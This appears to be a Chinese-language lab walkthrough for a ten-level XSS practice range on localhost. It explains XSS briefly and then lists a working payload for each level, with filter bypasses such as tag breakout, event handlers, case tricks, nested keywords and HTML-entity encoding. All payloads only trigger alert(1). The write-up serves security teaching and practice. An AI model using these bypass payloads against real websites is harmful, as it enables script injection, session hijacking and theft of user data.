XSS 漏洞简介

用户上传的内容会展示或在页面执行时,如果网站没有对用户提交的数据进行转义处理或者过滤不足,则网页会被恶意攻击者利用进而嵌入一些脚本到web页面中。当其他用户访问都会执行相应的嵌入代码,从而导致用户信息泄露,危及公司和用户的资产安全。

目标:XSS 全称是 Cross Site Scripting 即跨站脚本,因此攻击者的目标在于通过正常的输入手段,夹带进一些恶意的HTML脚本代码,利用受害者的浏览器对目标服务器的信任,执行任意恶意脚本,来窃取用户的敏感信息、劫持用户会话、篡改网页内容或进行其他恶意行为。

与 SQL 注入类似,在进行注入 XSS 攻击之前,我们首先要做的是确定当前交互页面是否存在注入点,进而修改页面以实现攻击目的。

  1. 输入测试:尝试在输入字段中插入HTML标签、JavaScript代码或其他特殊字符,并观察网页的响应。如果输入字段未正确处理或转义用户输入,而是将其直接插入到页面中,那么很可能存在XSS注入点。
  2. 输出测试:查看网页的源代码或浏览器开发者工具,检查是否存在动态生成的内容、用户输入的数据或其他可疑的地方,这些地方可能存在未经转义的用户输入,从而引发XSS漏洞。

常见的 XSS 类型包括:存储型(持久型)、反射型(非持久型)、DOM 型

话不多说,更多的 XSS 的信息后面单独出一篇文章进行介绍,这里先开始我们的靶场之旅。

靶场规则基本介绍

靶场包含许多关卡,通关的方式为成功执行 alert(1) 函数即可。当成功执行该函数后,便会弹出如下图的窗口,点击确定便可进入下一关。

0

Less-1

首先我们从 URL 中可以看到我们传入的参数为 name=test,页面显示了我们输入的参数的名称以及长度,因此我们便可以通过输入参数来讲我们想要执行的代码插入到该页面中。

1

这里我们使用最简单的一句话脚本(弹出提示)来验证这里的 XSS 即可。

// GET 请求 name=<script>alert("1")</script>
http://localhost:8091/level1.php?name=<script>alert("1")</script>

于是得到了弹出提示,证明这里存在 XSS 漏洞,可以想象如果这里执行的一个发送 cookie 到外部地址会造成多大的影响。

2

Payload:

http://localhost:8091/level1.php?name=<script>alert("1")</script>

Less-2

与第一关类似,这里变成了输入框进行参数的提交,因此我们之间尝试前一关的 Payload。结果发现我们的输入打印出来了,但并没有执行相应的 JS 代码。

3

于是我们使用 F12 查看源代码,发现这里将我们的输入赋值到了 Input 标签的 value 中,因此我们只需要将其标签闭合即可,也就是使用如下所示。

# 尝试构建如下标签
# 原始
<input name="keyword" value="xxx">
# 修改
<input name="keyword" value=""><script>alert(1)</script>">
# Payload
"><script>alert(1)</script>

Payload:

http://localhost:8091/level2.php?keyword="><script>alert(1)</script>

Less-3

与第二关类似,我们使用这次发现他将我们输入的字符进行了转义 " --> &quot; 因此这里尝试使用单引号来闭合,发现导致尖括号也被转义,因此这里不能再通过 <script> 来进行攻击。

4

这里就需要使用原始绑定 DOM 事件来进行攻击,这里包括 onclickonmouseover 等;这里我们就选择 onmouseover 来进行尝试。

# 尝试构建如下标签
# 原始
<input name="keyword" value="xxxx">
# 修改
<input name="keyword" value="' onmouseover=alert(1)">
# Payload
' onmouseover=alert(1)

尝试发现其输入如下图所示,因此推断闭合符可能为 ' ,推断原始标签为 <input name="keyword" value='xxxx'>,于是需要修改我们的 payload。

5

Payload:

# 随后触发 onmouseover 动作即可
http://localhost:8091/level3.php?keyword=' onmouseover='alert(1)

Less-4

第四关与第三关类似,只是闭合符号换成了 ",因此 Payload 为:

# 随后触发 onmouseover 动作即可
http://localhost:8091/level4.php?keyword=1" onmouseover="alert(1)

Less-5

这里我们尝试几种后发现闭合符号仍为 ",因此之间使用第四关的 payload,结果返回如下,监听事件的 on 被转写成了 o_n ,并且 script 被转为小写并写为 scr_ipt ,但尖括号并未过滤,因此我们可以尝试构建其他的标签来攻击。

6

这里我们通过构建一个超链接 <a> 并结合 javascript:alert(1) 来实现,最终 payload 如下:

# 随后点击超链接即可
http://localhost:8091/level5.php?keyword=1"> <a href=javascript:alert(1)>

Less-6

同样使用上一关的 Payload,不出所料,href 被转为小写并写为 hr_ef ,但好在 script 这次可以通过大小写绕过,于是便可以构建 payload。

http://localhost:8091/level6.php?keyword=1"> <scriPt>alert(1)</scriPt>

Less-7

这次 script 直接被过滤,但我们可以猜测过滤函数只会执行一次,因此可以尝试通过字符包含来绕过,例如 scrscriPtiPt 中间完整的 scriPt 会被检查到并进行删除,但剩下的字符会重新拼为 scriPt。于是完整的 payload 为:

# scrscriPtiPt --> scriPt
http://localhost:8091/level7.php?keyword=1"> <scrscriPtiPt>alert(1)</scrscriPtiPt>

Less-8

本关卡直接将输入作为超链接的 href 部分,因此我们直接尝试使用 javascript:alert(1),发现 script 被转为小写并写为 scr_ipt,那我们这次尝试通过编码进行绕过。

7

由于 html 支持 hex 和 dec 编码,因此我们直接使用 Hackbar 的编码功能进行编码即可。(这里需要注意的是我们编码之后直接执行不行,而需要将其添加到页面的输入框中才可以添加到友情链接中,页面可能是有点小问题)。

# javascript:alert(1) 编码结果
# &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

# 最终 payload,并点击页面友情链接
http://localhost:8091/level8.php?keyword=%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2349%3B%26%2341%3B&submit=%E6%B7%BB%E5%8A%A0%E5%8F%8B%E6%83%85%E9%93%BE%E6%8E%A5

Less-9

老样子,直接尝试上一关卡的 payload,发现显示为 您的链接不合法?有没有!,于是切换几种 payload 都不行,难道是必须要真实的链接?于是随手复制了一个 https 的链接发现也不行。

8

难道说题目有问题?于是突然想到会不会协议有问题,尝试切换 http,发现果然可以,于是不断修改 URL 直到仅剩下 http:// 都不会报错。进一步地,尝试在前面添加其他符号,发现都没问题,于是这一关的 payload 就出来了。

# javascript:alert(1) 编码结果 + //(分隔符) + http://
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

# 最终 payload,并点击页面友情链接
http://localhost:8091/level9.php?keyword=%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2349%3B%26%2341%3B%2F%2Fhttp%3A%2F%2F&submit=%E6%B7%BB%E5%8A%A0%E5%8F%8B%E6%83%85%E9%93%BE%E6%8E%A5

Less-10

这一关上来就发现并没有输入框了,但看源码发现几个被隐藏的输入框,并且知道他们的 name,于是我们可以尝试穿参数进去。

9

构建 payload 进行传参,http://localhost:8091/level10.php?keyword=test&t_link=1&t_history=2&t_sort=3,发现只有 t_sort 发生变化,于是我们就可以进行 XSS 攻击。但由于这个窗口看不见,因此需要将其 type 置为空,后续使用 onmouseover 并无过滤机制,具体payload 如下:

# 随后触发 onmouseover 动作即可
http://localhost:8091/level10.php?keyword=test&t_link=1&t_history=2&t_sort=" onmouseover=alert(1) type=""

Payload 总结

# less-1
http://localhost:8091/level1.php?name=<script>alert("1")</script>

# less-2
http://localhost:8091/level2.php?keyword="><script>alert(1)</script>

# less-3
http://localhost:8091/level3.php?keyword=' onmouseover='alert(1)

# less-4
http://localhost:8091/level4.php?keyword=1" onmouseover="alert(1)

# less-5
http://localhost:8091/level5.php?keyword=1"> <a href=javascript:alert(1)>

# less-6
http://localhost:8091/level6.php?keyword=1"> <scriPt>alert(1)</scriPt>

# less-7
http://localhost:8091/level7.php?keyword=1"> <scrscriPtiPt>alert(1)</scrscriPtiPt>

# less-8
http://localhost:8091/level8.php?keyword=%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2349%3B%26%2341%3B&submit=%E6%B7%BB%E5%8A%A0%E5%8F%8B%E6%83%85%E9%93%BE%E6%8E%A5

# less-9
http://localhost:8091/level9.php?keyword=%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2349%3B%26%2341%3B%2F%2Fhttp%3A%2F%2F&submit=%E6%B7%BB%E5%8A%A0%E5%8F%8B%E6%83%85%E9%93%BE%E6%8E%A5

# less-10
http://localhost:8091/level10.php?keyword=test&t_link=1&t_history=2&t_sort=" onmouseover=alert(1) type=""